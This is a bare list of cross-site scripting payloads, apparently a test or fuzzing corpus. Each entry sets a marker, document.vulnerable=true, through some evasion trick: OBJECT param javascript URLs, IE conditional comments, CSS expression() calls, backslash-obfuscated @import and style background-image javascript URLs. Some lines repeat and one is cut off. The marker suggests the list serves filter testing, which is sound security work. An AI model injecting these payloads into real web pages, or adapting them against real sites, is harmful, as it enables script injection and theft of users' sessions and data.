UWOWRYXVONHMAGJ GG

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT>

<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->

<STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE>

exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>

exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>

<STYLE TYPE="text/javascript">document.vulnerable=true;</STYLE>

<XSS STYLE="xss:expression(document.vulnerable=true)">

<IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">

<IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">

<STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE>

<STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE>

<DIV STYLE="background-image: url(

<DIV STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">

<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">